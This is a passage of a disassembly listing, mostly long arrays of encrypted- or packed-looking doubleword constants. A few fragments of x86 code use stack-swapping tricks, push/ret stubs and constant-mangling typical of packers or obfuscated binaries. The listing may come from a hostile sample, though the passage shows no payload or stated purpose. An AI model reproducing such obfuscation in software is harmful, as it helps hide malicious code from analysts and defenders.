0F9DAC985h dd 0AB8E43ABh, 66409DE5h, 0DD352830h, 14B06F77h, 0BC932Bh dd 0E943D303h, 0DCBFFBCh, 92F8DE05h, 0F1A2A04Ah, 0FEBFD85Bh dd 0D0290F34h, 2EABADF3h, 0D39385CBh, 3F07FBABh, 297F5839h dd 0A6360CC1h, 3FF05C19h, 0A8FCD55Ah, 76BEE6AEh, 6B311180h dd 3CD66AEDh, 23EF5ACEh, 67D41A6Fh, 30A32DFh, 93F7979Fh dd 3B614119h, 640A49D3h, 4191B5E2h, 57000000h, 4EF043E5h dd 0E050DCBh, 0BE9B6626h, 4CA7263Fh, 0AAACD41Ch, 9086D22Fh dd 81595307h, 2E8F0A4h, 0AFDA6745h, 17CCh, 41A20800h, 11AA2513h dd 4B050DCBh, 90ED7D77h, 365DBCC4h, 0E7000000h, 0B68141A2h dd 50DCB00h, 0CE487040h, 0DCBEB4Dh, 89603405h, 2125E5ABh dd 44D633CBh, 0E263368Eh, 31598132h, 0A303959Bh, 0C5E8308Ah dd 89778DDCh, 7B2B6348h, 267F9581h, 9FDE936Ch, 0F63E0F34h dd 0E1B79100h, 0AEF4D62Bh, 0CE3C96FEh, 50857F00h, 0CE53F3E1h dd 14BEB8EEh, 0CEFA5FEh, 9339CD3h, 47251323h, 87E17973h dd 791389D1h, 0DA338FEh, 98487805h, 7BFDAB85h, 0DA30E80h dd 0B6350F05h, 55C30B51h, 0BFB9EFC4h, 7136BE24h, 0F245AFCBh dd 0B555031Fh, 0F21A4CA8h, 21729578h, 829FB94Bh, 0A953F3A1h dd 0B38C44A2h, 50DCB0Bh, 0B9337B4Bh, 4E5DD57h, 0CCF87E28h dd 5F21761Ch, 5F88B2DAh, 6C000000h, 0D835B48Dh, 92DA8A8Ch dd 0BA20E0A4h, 4B217295h, 8BEE43E5h, 39613710h, 0CB2E9063h dd 466E050Dh, 0CB11A586h, 9A77050Dh, 403CECBAh, 43E5FA70h dd 53C58BEEh, 0A2897313h, 0CC5E1442h, 2DB19168h, 347431A1h dd 53F33BB0h, 255EA9h, 20FA0000h, 0DCB6FD7h, 0A072F05h dd 0B6FE782Eh, 72956C16h, 1AE54B21h, 50DCBA4h, 0E56F05ADh dd 1442A263h, 0A248CC5Eh, 0E5441E44h, 0C051C78Dh, 0DB9BFE1h dd 0F12305C5h, 4D44E40Bh, 7A2ABA49h, 97ED7F9h, 50A43E05h dd 0EAF258BEh, 944E1A77h, 0FAFA6A6h, 4818B13Bh, 421673EEh dd 9D1743D4h, 5CA4F0CDh, 0DEE191F6h, 4E18AFh, 0A2DC0000h dd 8E181E44h, 8AE8958h, 48050DCBh, 879A3078h, 902AFAAEh dd 34C29AA7h, 0DF0EFC0Fh, 0E85A221h, 9B76EABAh, 1376EBBDh dd 539BCB4Dh, 767E58E5h, 266C4EA3h, 0D5BB9B66h, 827D178Dh dd 30AA63Ch, 9D9E347Ch, 30AA619h, 0C3B96959h, 181E44A2h dd 63DB24FEh, 23050DCBh, 8BD97313h, 0DEC730EAh, 9E0F34EDh dd 0C5336543h, 0AE835981h, 5212044Ah, 40B6E2FFh, 0B60C4404h dd 4B217295h, 44A2BFB9h, 8FE5441Eh, 0CB56E84Bh, 2E16050Dh dd 0E5BC26E6h, 0F26EFF17h, 5AB736DDh, 0CE06C60Eh, 5F7ED574h dd 4025B2DAh, 3000000h, 9086CC2Eh, 954E34D4h, 0CD9BF472h dd 1AE5EF85h, 50DCBA4h, 632909E4h, 0B73777F5h, 0DEB761FAh dd 0E5946E96h, 2F04E563h, 7854A979h, 0ED86742Eh, 0E8A684F1h dd 0CC671DCDh, 385E48h, 95DA0000h, 1E19B372h, 50DCB98h dd 0D36BE8D8h, 93050DCBh, 0E5817BA3h, 0DCBA41Ah, 0F0D0AD05h dd 0B4FCA8AEh, 0EE43E53Eh, 5802C288h, 0B58642A2h, 50DCB01h dd 0B3497141h, 44A248CCh, 8DA7181Eh, 48050948h, 5D3C3A6Ch dd 0EF191F45h, 0AD9C218Bh, 0CB2BC329h, 1772CF85h, 0A6EEB894h dd 1673EEE6h, 6845D442h, 39593A3Ch, 0AAFEDBB3h, 0EC9BF842h dd 6062AFDEh, 0C6000000h, 42D1A878h, 8D393F65h, 7A7AC583h dd 44A230AAh, 0CB0BB38Ch, 0CD2A050Dh, 19D59187h, 3E807329h dd 7E050DCBh, 0F5540E36h, 2611CB99h, 50DCB90h, 0C620E0D0h dd 673D666Ch, 34963794h, 1C1FB10Fh, 30AF99Ah, 0F9BB03FCh dd 0CBFB030Ah, 0A35F0F37h, 460F993h, 9B4B252h, 7F57278Dh dd 0A26BC129h, 0F6441E44h, 1A00E189h, 9F9949A3h, 0CC86DF35h dd 34E62A73h, 0B2DAEA0Fh, 0BA200118h, 0E3E17F3Ch, 74145C5Ah dd 2172958Eh, 0A2BFB94Bh, 0E5641E44h, 0CB4EF043h, 260E050Dh dd 0D5946E66h, 0B2DA5F7Eh, 92CC9A60h, 139F8AB1h, 0CB35362Eh dd 7D2D0746h, 42E2h, 72956600h, 1AE54B21h, 50DCBA4h, 77CF28C2h dd 37050DCBh, 93A35F0Fh, 990160F9h, 79AB113h, 12044C87h dd 0E5C8B252h, 0FE782E04h, 0A87048B6h, 0AED4C509h, 0A2A224FEh dd 0CC5E1442h, 315E48h, 95DA0000h, 0C89EF472h, 24DE064Eh dd 0CBA41AE5h, 5AD050Dh, 0FD43E56Fh, 45B94FC4h, 0A45E0EA7h dd 0E0C142A2h, 0CB69CD2Eh, 1929050Dh, 0E72F67D1h, 0E548CC0Dh dd 0FD7B2D04h, 0ED5A140Fh, 64ACDB93h, 137959A4h, 5186AA25h dd 6B6F0509h, 7553AE81h, 4FA43523h, 637CD119h, 0AA889535h dd 53318576h, 94710509h, 78A0E8BEh, 25734FA2h, 92F06D65h dd 0EAF84ACCh, 0E32013C9h, 350F3066h, 6D13C4C7h, 9636172Dh dd 65330FEAh, 91D98FE8h, 0FF1875FBh, 2CB313EDh, 959E147Ch dd 0B94B2172h, 27A0829Fh, 0E3559DCBh, 0A279E3A3h, 0E5641E44h dd 0FD7B2D04h, 7BF119C9h, 0DA5F7ED5h, 0A88960B2h, 0CB318576h dd 4171F80Dh, 58F64919h, 72000000h, 4B217295h, 0CBA41AE5h dd 7CC2050Dh, 0C1224048h, 2BC8AD93h, 0EA07FBABh, 0EE5CDA88h dd 1AB366EAh, 0B9E12939h, 0A263E5C3h, 0E55E1442h, 0F87E2804h dd 0F56F1CCCh, 792F04E5h, 5D49B7FFh, 17A5305Fh, 57EFEEBEh dd 35000000h, 637FFCD4h, 5B83C335h, 46B0E6C6h, 0E5A45E0Eh dd 13EC2804h, 50DCBABh, 0F393DBEBh, 0E4930659h, 3852BD29h dd 0E52FC50Dh, 7250A943h, 0F97A2A2Ch, 50DCB45h, 0EA4CAF05h dd 0AA050DCBh, 0B1B2529Ah, 50DCB0Dh, 0E5D4AE04h, 1442A263h dd 9168CC5Eh, 3F77E1B7h, 43E5F56Fh, 0DCB4EF0h, 66260E05h dd 63D5BB9Bh, 948C4E8h, 43A92D05h, 0FD054BABh, 0DA5C0260h dd 83591A48h, 301F7FB0h, 4F979F0Fh, 217295F5h, 0F043E54Bh dd 50DCB4Eh, 8066260Eh, 8C44A276h, 0DCB0BB3h, 337B4B05h dd 0D5DD57B9h, 0B2DA5F7Eh, 4025h, 72952300h, 0CBFE40B3h dd 0E4BE050Dh, 0DCBA31Bh, 0ABD3E305h, 43E58963h, 55C389EEh dd 74BCEAC4h, 0CBEF57D4h, 0F789050Dh, 0DCBB204h, 2C2F205h dd 0E59C565Eh, 1442A263h, 5E48CC5Eh, 34h, 217295DAh, 0A41AE54Bh dd 0AD050DCBh, 0CB12A497h, 6252050Dh, 0FF9A603Ah, 95F2F217h dd 0DF81E07Dh, 63E5550Fh, 4EF043E5h, 0E050DCBh, 0BD9B6626h dd 48CC11EBh, 181E44A2h, 411B588Eh, 34C07DF6h, 6F250D0Fh dd 0C2D46AD5h, 0AC94030Ah, 184E94FCh, 71E7AD8Eh, 0E4570D35h dd 9395BD0h, 2FAAAC94h, 31CB81D7h, 7B570C6h, 2B715105h dd 0BD85792Dh, 0A68E5EDh, 1BC37282h, 478FC6D0h dd 70DA5ED1h, 49D3FFD8h, 1ECE90F0h, 3A18F2FAh, 0F1D10C54h dd 0D72CADABh, 2B2D7B54h, 0A7C5337Bh, 78C65953h, 36108B8Eh dd 0A883FE60h, 0EF6DD122h, 52D732Eh, 3E6040DDh, 41DC8C38h dd 0C68CEE61h, 0BB9B769Eh, 0A0A63D5h, 0B6000000h, 6442DF79h dd 0DC8C383Eh, 1D4BA226h, 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh dd 0BDEBC455h, 97FDDEBBh, 8DD330A1h, 782E0E8Bh, 5F0163FEh dd 895232D9h, 4C281E2h, 83000000h, 143304EAh, 24143124h dd 5C241433h, 219A68h, 243C8900h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 52532404h, 466EC9BAh, 0C05ABB20h dd 0D30111A9h, 0A6AEBF5Ah, 0DF2937FDh, 48B545Bh, 4C48124h dd 83000000h, 148904ECh, 8BA24h, 0C2010000h, 8B5A3A89h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- dd 969294DFh, 19B8A112h, 3060D7Fh, 0B9E0FFC5h, 0DD6B26ECh dd 365C4419h, 900C2586h, 0E1252B8Bh, 1125BD08h, 72FD52Dh dd 3B1F51CBh, 0AA56E7D5h, 0EA2541A0h, 0BA54D11Dh, 8D10F80Dh dd 0D80A08Dh, 0EECE8106h, 890F6C21h, 71B418Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 9BCA810Eh, 292B95A0h, 72C0D9Dh, 5E906h, 15850000h, 0C7A520EDh dd 7060585h, 6EA806h, 0EE816600h, 85C765B5h, 6070069h dd 0 dd 8E8h, 87C41700h, 4BFF71A2h, 618D29E4h, 5E060733h, 2215B5FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 62AE2DC3h, 0BBB7FC2Ah, 3A79454h, 1E195FFh dd 85890607h, 6070F99h, 699BD01h, 6A0607h, 320195FFh, 0C08B0607h dd 0BF7F0CEBh, 0B0EA28D1h, 2382A580h, 13E8A2B9h, 0D1000000h dd 6B3A1929h, 64F7E94Dh, 749DC6F9h, 743A88D4h, 0BD895D5Bh dd 60715D1h, 0C9BD895Fh, 8106071Ah, 7475C7h, 81665300h dd 5E7E7ADBh, 68h, 499D2B00h, 58060731h, 7148BF9h, 1975B509h dd 0C2810607h, 76DE36D3h, 1B1DB503h, 0F2810607h, 26D5AD7Fh dd 1E0D9D89h, 0F2810607h, 0EB8FAACh, 89523EB1h, 7020DBDh dd 7048F06h, 3EB1E88Ah, 2049E881h, 0B529274Ch, 6072BB5h dd 2045C081h, 0F881274Ch, 0FFFF8C38h, 0C850Fh, 1DE90000h dd 0A1000000h, 0E0B491BAh, 0EB802E9Ch, 0FF97E931h, 0E228FFFFh dd 0D73CA4E3h, 810D02ADh, 5461BF4Fh, 82538D8Dh, 6A060Dh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0FD7BE8C3h, 95255FFDh, 1B3DBD89h, 0D8810607h, 2ADFBF04h dd 1B418D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 4CB1F6C3h, 0EBCD2288h, 85C74B9Ch dd 6070605h, 63C4h, 10E8h, 0FB118D00h, 87F3511Ah, 8CC48EEBh dd 0C304D654h, 8D850995h, 5E06071Ah, 6985C7h, 607h, 8B660000h dd 19B5FFF9h, 6A06071Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 3859C353h, 0EE968648h dd 11E92Ch, 0C4AB0000h, 0D2DC6B4Bh, 9705A595h, 0B9CC1ED7h dd 8BAEA485h, 0E195FFFAh, 51060701h, 68D0Fh, 0B5230000h dd 6070FB1h, 0FF006A5Bh, 7320195h, 0EBC08B06h, 0C6328109h dd 318942C0h, 8D8DE10Ch, 60D8334h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 1CC35646h, 119E8439h, 0EEE8BB26h dd 18E59D8Bh, 8D890607h, 6071B41h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 58C35747h, 28E9F40Fh, 0D915A9D2h dd 0D18589A1h, 0C7060705h, 7060585h, 58E006h, 0C1BD8B00h dd 0C7060715h, 7006985h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 546DB872h dd 64D042B1h, 0BFE9B3F0h, 794EC573h, 2215B5FFh, 95B40607h dd 1E195FFh, 0B5890607h, 6071D39h, 0C8E0Fh, 830F0000h dd 6, 297DBD29h, 6A0607h, 320195FFh, 0C08B0607h, 3A6B0CEBh dd 197E4175h, 5004EDB1h, 7E8EA67h, 52000000h, 0A7DDB05Dh dd 5EF837F9h, 1DD88153h, 5B1C4CA4h, 6085C681h, 33F50000h dd 68C0FC9h, 89000000h, 721E58Dh, 0E3C8B06h, 20DD958Bh dd 0EF810607h, 1D194659h, 0CABDE881h, 0F781716Dh, 760B8226h dd 0CE8h, 5B7B5E00h, 99A0EF4Ah, 5BC25CEDh, 2850FD3h, 60000000h dd 0F7815B61h, 777F18F3h, 0BF0F6052h, 12E9FFh, 0B1680000h dd 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 8CA7C70h, 0B6575A61h dd 0E048FD3h, 8FEBB66h, 12558D89h, 0E9810607h, 2330FCBBh dd 81D98B66h, 30FCB7C1h, 0B4BA6623h, 50F981FAh, 0FFFFFA0h dd 1185h, 0DEBF0F00h, 23E9h, 499ADA00h, 0CFB63500h, 0B529B748h dd 60708A9h, 0FFFF5CE9h, 0EC1B4CFFh, 1747AEF8h, 2CE024D8h dd 0F4B37755h, 84FD8D8Dh, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 867633C3h, 93A34624h dd 8B9E5414h, 0FABF0FC2h, 1B418D89h, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 546DB8C3h dd 64D042B1h, 0BCB5BE60h, 61F83C02h, 7E9h, 9D13F000h, 479CC7FFh dd 60585C7h, 61140607h, 0EE90000h, 2B000000h, 76E00EADh dd 99283625h, 19E5F9E5h, 6985C74Eh, 60700h, 8B000000h dd 71FD995h, 11B5FF06h, 3106072Ch, 715C1BDh, 0E195FF06h dd 6A060701h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0C04C350h, 90DAEA4Ah, 0A7B7EEC5h dd 6AC78B66h, 195FF00h, 8B060732h, 2E09EBC0h, 0D54EA313h dd 2DD88652h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 35C3A1DEh dd 1438E9h, 87CE6800h, 0AFE9060Dh, 68FFF9F7h, 60D890Bh dd 0F9F7A5E9h, 8A2368FFh, 9BE9060Dh, 68FFF9F7h, 60D8B66h dd 0F9F791E9h, 8BED68FFh, 87E9060Dh, 68FFF9F7h, 60D8C9Dh dd 0F9F77DE9h, 8D5768FFh, 73E9060Dh, 68FFF9F7h, 60D8E27h dd 0F9F769E9h, 8EE868FFh, 5FE9060Dh, 68FFF9F7h, 60D904Bh dd 0F9F755E9h, 916268FFh, 4BE9060Dh, 68FFF9F7h, 60D92DBh dd 0F9F741E9h, 941368FFh, 37E9060Dh, 68FFF9F7h, 60D9627h dd 0F9F72DE9h, 972868FFh, 23E9060Dh, 0F4FFF9F7h, 0B2AFB791h dd 65F80056h, 0D8355D0Bh, 904D95FBh, 7899E1B7h, 0DC88E5FEh dd 167A59B4h, 613713CEh, 0B8EEC419h, 0DA25FF50h, 3004D64h dd 0BE6BC24h, 0B6FE7828h, 44A26C16h, 0CB0BB38Ch, 4139050Dh dd 949F342Bh, 0BCE4CCA0h, 792F0BE6h, 221DB7FFh, 50D739Ch dd 3234D4DCh, 782C09E0h, 7D5BB6FEh, 80E67B2Bh, 7A68B2DAh dd 0A98E6339h, 1AF775E3h, 9FC1EF60h, 0ECB6569Eh, 349BAE13h dd 50C6EE0Fh, 0AF963DFh, 34624203h, 2E7A57C2h, 757F5328h dd 90D88CE5h, 25FCF0D4h, 0BD0FF4D7h, 9832E801h, 0AA5279Fh dd 8F5F6703h, 0E1D57EC5h, 3105B5h, 95C30000h, 936C267Fh dd 0F34C1DAh, 930C0A3Ah, 30AC12Fh, 677CDD67h, 7F759131h dd 0E175BB98h, 0C92A07B5h, 574CB9Bh, 0D0000001h, 0CE481C79h dd 0A21CC686h, 0B9181E44h, 930E085Ch, 0A96BEDB3h, 0CB922417h dd 56B3050Dh, 9C501402h, 3B3D6341h, 0BE83438Bh, 2F976058h dd 6F050DCBh, 72E4B292h, 0BAC20A32h, 0DC708B9h, 93F9D905h dd 1C78D14Bh, 0ABFDD74Ah, 0D429F9ADh, 4AEA8FEh, 0F46440CEh dd 11F70E32h, 0EE165E71h, 0A92ACB34h, 5DBC0F34h, 934F1F45h dd 53B15BA3h, 5BB64802h, 0DA3B167Ah, 0F355D676h, 5709350Ah dd 3E13B56Fh, 1F45A6D9h, 652561D7h, 81E9BF98h, 2C25734Ch dd 9118D8Ah, 7BBBD248h, 6C000011h, 2A274F19h, 9D7098CEh dd 508DD583h, 8C52D73h, 0C011792Fh, 54001D86h, 0AEF2D10Ch dd 0F9AF8B46h, 30667C91h, 62DD7728h, 3004CDCh, 0A2BE349Ch dd 0BBE1C641h, 90F66B73h, 0CB67DF58h, 0D927050Dh, 0B85C410h dd 72FC24F2h, 1A13315Ah, 2BE129D4h, 0F45AB891h, 0D18BF07h dd 17B7FF05h, 0B08325FFh, 50D180Eh, 3CA6664Eh, 7A2C04E5h dd 316260AAh, 0A68C19Bh, 0C486DA44h dd 12C34D0Fh, 89BCF172h, 0A07A0F34h, 0A89EF57h, 0C787AF03h dd 0B22D2B1Bh, 30A8908h, 9086CA29h, 86702401h, 971C90E8h dd 12F5FFD3h, 0B5E1AD35h, 0D4FCh, 0B5865800h, 30AFD01h dd 0FD229467h, 5262030Ah, 0CF6969Eh, 441E44A2h, 0CDC88E5h dd 0D352AF2Ah, 0FEB6A0F0h, 0A89640B6h, 0A54C8FE9h, 0DEEBE7Ah dd 50DDEA4h, 30F11D75h, 0E583F54Ah, 0A67C84CCh, 8C200958h dd 0DC8C37B3h, 613B6141h, 28F8AE88h, 356E64CEh, 23439C9Fh dd 16F30F34h, 0DB236B31h, 7957D331h, 357D292Fh, 0F0A6829Fh dd 19F08A50h, 0A3E3553Bh, 8FDB00E3h, 2B1B0935h, 0E9BF9871h dd 25734C81h, 1214942Ch, 0B1CC4209h, 103Eh, 0FA0246A9h dd 335B0D67h, 40A8FEDEh, 98E0B48Dh, 0D43C6845h, 795A4905h dd 2B0EC32Bh, 0E6C01D65h, 5DB5A8B0h, 9430EFF7h, 4213ABh dd 69C35303h, 0CB1341A2h, 0EDAC3016h, 59D4B033h, 9069236Bh dd 0D43CECB2h, 1E44A25Eh, 7A9DF644h, 0A8EA9754h, 45A47EF8h dd 916C3C68h, 0E6DA3EB1h, 0D02A115h, 0A9D1E105h, 0E8C41961h dd 2905E4BEh, 19C9FD7Bh, 0FEA4821Fh, 0A06BB096h, 3F396F49h dd 2A41AE5h, 0DCE4050Dh, 0F458B994h, 0CBE8FE54h, 3AFC7F11h dd 7A050D02h, 1FA7904Ah, 5F050D02h, 12EDB757h, 0F342655h dd 64CAE83h, 0F0AA9A46h, 0D2AE3C19h, 7AB0ABE1h, 4287478Fh dd 0B427328Fh, 0A02E2478h, 30EA1244h, 0B911F6C7h, 0F87E46FEh dd 0A17B382Eh, 30266848h, 0D7BD9974h, 65CB6D37h, 8800046Dh dd 4E7A726h, 0F8B9A7B4h, 8F623808h, 8CDA34B7h, 0D254DA8Ah dd 4B2D57E5h, 3892FA22h, 22695F32h, 0B1ACB1B7h, 5A0A0C50h dd 95FB78Ah, 9F677210h, 23BAB017h, 0F26h, 92FAAE81h, 2B33657Fh dd 7880D636h, 0B0D88CE5h, 0CC14405Dh, 51B2312Dh, 366FB03h dd 0FED8355Dh, 0B58D40A8h, 6C0887EFh, 412B93h, 1FB6B03h dd 7E2804E5h, 8E42CCF8h, 91FB772Ch, 0AD859848h, 7251D232h dd 3470E62Eh, 0AAB80A0Ch, 7B26989Bh, 0CC66050Dh, 0D7BCB73h dd 73BB8B05h, 39A6914Bh, 490F3429h, 9DCB1179h, 0D52F02D8h dd 3E39C383h, 9336A3Dh, 0C843B5FDh, 50D6972h, 4BCE263Ah dd 0AFDB0D0Ch, 0C7DD3CD6h, 5D1CA291h, 263D050Dh, 16B6FE72h dd 3509h, 3512EF00h, 95C5BF6Fh, 936C267Fh, 0F34BD7Bh, 0D831EBDBh dd 9340A8FEh, 30A8629h, 37A6360Ch, 0A75ADA9Ch, 67290805h dd 658DB5F1h, 5ED88EE8h, 0E593Fh, 7F954500h, 0AF593E0h dd 5F8786BCh, 4F53BA85h, 0C7EF0F3Eh, 86D02C0Dh, 44CB73CCh dd 0BB8B0300h, 9AF851EBh, 0D85E0261h, 0C11C64ACh, 0EBBDBBE1h dd 11E2B8FDh, 933CB99h, 0C7031CF9h, 0DC1C274h, 8AB28205h dd 51B18842h, 86EE30Bh, 68EEBA97h, 91C7213Ch, 0B1A7EFA7h dd 0EEA4F117h, 34E3F00Dh, 11E2400Fh, 30AE0ADh, 849DC5EDh dd 3191110h, 0E355282Eh, 0C400000Dh, 825FA7E1h, 75E8F0A6h dd 28254D1Bh, 0E07D85CBh, 6889D187h, 0CC98F5EEh, 64AA9A4h dd 510763FEh, 0A8FED409h, 0CA35CF40h, 3004074h, 0BCD6AC34h dd 50DCBFEh, 0FBA18198h, 0B2E3E12Bh, 448B1F18h, 0CBFB0F3Eh dd 0A1DA3811h, 32E81044h, 0F696C2DFh, 9162049Eh, 3004E2Dh dd 0B885456Dh, 0A002F45Ah, 2B7037A2h, 47450C39h, 5DA3451Fh dd 21E81A35h, 919232D1h, 9390104h, 0C9D54C74h, 4B091591h dd 0D5CB8D5h, 784F0000h, 2F05D820h, 0E0FC1179h, 52B3AEB6h dd 0E6BE60Eh, 67E3325Ah, 2D35637Ch, 678FD130h, 0B2DA88EAh dd 0C911475Fh, 0FD41B256h, 0BD030040h, 44A25FD5h, 116FEECBh dd 61D71F47h, 16CC92F0h, 516BC828h, 79139950h, 0DF638FEh dd 98487805h, 278DD59Eh, 0DAA46320h, 6FC2AAFh, 952E0000h dd 7369E07Fh, 0D6D06D1Ch, 0F37197Bh, 8975EA55h, 3E130F3Eh dd 2FD373D9h, 96EC4D07h, 835DE152h, 151D0300h, 320F85EDh dd 0F7CB46D6h, 4B8818BEh, 98FE4303h, 77CB44B2h, 61030085h dd 9F983263h, 939D70Eh, 0CDDF367Eh, 6B0915BFh, 0CAC98F5h dd 283F0000h, 9FF56870h, 50ACA1C9h, 263FE06h, 0FEDB365Eh dd 0B7B342AAh, 7D85D32Ch, 0B7DF81E0h, 0C22A785Ah, 1961370Fh dd 0AD11E286h, 0ED030047h, 44A28F65h, 63FE181Eh, 0A1E55305h dd 450553ACh, 42B49AF8h, 14FBF101h, 0AFDA672Fh, 659F6h dd 0FEBC7200h, 0E8050DCBh, 10E3B9FAh, 0F3E444Fh, 8915728Fh dd 0DCE2A60Bh, 74F77D0h, 0C096EC4Dh, 5DDE700Ah, 300BDD9h dd 14AAA999h, 540300BDh, 0FE54BC6Ch, 0BA500063h, 0BD05B9h dd 0AD7D4503h, 2A2C7250h, 73294A98h, 2DAAA48Dh, 0A56CD2h dd 1A042C03h, 15B5088Ah, 9663EC4Fh, 23130939h, 15FEC42Ah dd 9DF07609h, 0BF2h, 0AEB692F5h, 0E70F51B3h, 345C0A6Ah dd 4C94F8D9h, 98E0B491h, 85E6FD79h, 7F5AB7DFh, 320CC129h dd 0E1C11C64h, 58FC53BBh, 4667DFh, 0C5BF2703h, 181E44A2h dd 63DB24FEh, 42050DCBh, 8C383E64h, 3D00C0F0h, 18F97F25h dd 77E2543Ah, 0DB63DC1Ah, 9B050DCBh, 33F563ABh, 0A3E8CD27h dd 9DFA5D57h, 64AFDA67h, 586h, 430969C0h, 0E8B8EECEh, 0A017E572h dd 28416984h, 71273F12h, 486D7BD1h, 97A192h, 13230F3Eh dd 8259A779h, 209C0BFEh, 0B660D621h, 10200300h, 0CD2538E8h dd 44A57F87h, 9469396Fh, 0ED6EE8BEh, 300B64Dh, 0B2680D5Bh dd 0B6A71F18h, 0DFE70300h, 1D8A750Fh, 6D0939E4h, 0BAE2B490h dd 15ED55A3h, 401D1309h, 0B22h, 9EE6A285h, 0D73F6143h dd 648CDA3Ah, 0BCC488E9h, 0C81044A1h, 55B62D29h, 0F6AE70Fh dd 0C2DC3159h, 0B1914C94h, 680C83EBh, 45378Fh, 15EF7703h dd 441E44A2h, 0EF488EE5h, 50DCB57h, 27E72F17h, 2C7250C1h dd 9319792Ah, 0DA67C78Ch, 4CC4EAFh, 0BC8A0000h, 50DCBFBh dd 0E4BEE7EDh, 0A8FCFC42h, 0ED0E07A5h, 1F57C197h, 6D3437D7h dd 0B70F3E0Eh, 2E287E5Ah, 0EB53AC66h, 0AB030004h, 2F17CB9Bh dd 0DE60D375h, 9E030004h, 0CD2CF696h, 14F5AFF5h, 51B9693Fh dd 259975FBh, 4E0BF56Ch, 0FDA3839Eh, 0FABBA97Bh, 8D7AD720h dd 0EFC0939h, 0BC2CDA55h, 1FC38358h, 7FCC3E17h, 90960915h dd 0A61FDh, 25634A00h, 7E2000DDh, 0CB9DFB16h, 349AEA3h dd 5F0566FBh, 776CE637h, 2B264E1Ah, 9D7098C8h, 568BD381h dd 4DC22A70h, 45F648ABh, 2EB60300h, 0D844A254h, 6064D7B1h dd 51C70F77h, 869E2C0h, 0B91A1C44h, 0DB3BD3D9h, 1DB76D75h dd 0D959C22h, 79D4DC05h, 0FC96361Ah, 0AFDAC997h, 1781Eh dd 44A2DA00h, 59B9181Eh, 9D680835h, 125A0519h, 0C6FEF278h dd 6CEABC94h, 0E3003638h, 189E9933h, 58050DE9h, 8A50B868h dd 0AB4D075Ch, 0E9902611h, 0E0D0050Dh, 0BA7EC320h, 0F63E0F34h dd 0D8338F00h, 677B030Ah, 7ACD8A8Dh, 3811B5E1h, 0B89875DBh dd 642460D6h, 339Bh, 7F955900h, 0DA936C26h, 3A0F34C1h dd 2F930C0Ah, 67030AC1h, 0ECF26FDDh, 66E8BE94h, 0E431655Ch dd 5D3DB9C0h, 0FA1ECEF6h, 0C4286FF2h, 0C1EFB5E1h, 75000000h dd 0EBCB44A2h, 0CBF3B3A5h, 75DB3811h, 0E5C653D5h, 2804E5BFh dd 1F194FABh, 7D292F57h, 0CBE254A7h, 92A2050Dh, 8DE574F2h dd 0D52C0DC7h, 31D19583h, 64CAA37h, 0EFC524FEh, 57F7BFB9h dd 0D9E5FD4h, 22684E05h, 81D230DAh, 333168CBh, 30CD0F32h dd 0A39C82D4h, 0F905A93h, 2FC19BC3h, 4076ACCh, 4A1A2A03h dd 287C59B0h, 64300DC0h, 167023EDh, 25BD103h dd 8FEh, 0BAC286E9h, 0F31B4DA7h, 683E1Eh, 58A0F4CDh, 94FCA885h dd 0B99A0945h, 6B4E83EBh, 2600DD25h, 9DF56870h, 54F0AFB7h dd 5B53EBh, 29831303h, 7B2D04E5h, 2F7556ABh, 0ECBA9475h dd 0D6401471h, 4B86CE9Eh, 67DD256Bh, 0E88517E5h, 50ADFF0Ch dd 0F55ADB0h, 0E4AA8809h, 13AB942Eh, 32050DE7h, 0C5ED81D7h dd 8FECCD05h, 34000002h, 0BFA5D6C6h, 46065059h, 267F959Ch dd 1C77CA6Ch, 669F9C4Ch, 0A60F34EFh, 0D122C49Eh, 30AD06Dh dd 0E345052Dh, 0AD0D268h, 2E869A03h, 3ACF151Bh, 39276D45h dd 0D70E8B87h, 0F8DCAA1Fh, 0E56F3F67h, 0B5E1EB9Eh, 23065h dd 0C5BCE300h, 0EF050DCBh, 69CD2EF9h, 29050DCBh, 353BD119h dd 5CB8CEE2h, 0D6580C0Ah, 7F5AC2C4h, 9B21E129h, 3E04CF98h dd 0F947190Fh, 3F9F2716h, 8F372453h, 0CF03003Ah, 8BBB27E7h dd 0F21A78D1h, 8984FAFDh, 6A72BA74h, 4FC99FF7h, 1CB6EFE5h dd 391D8E23h, 0F062E09h, 9155FCFh, 0E7B6D74Dh, 0C0000007h dd 0BE53BBEDh, 71ECF45Ah, 24394117h, 9C7199CFh, 6C8DD583h dd 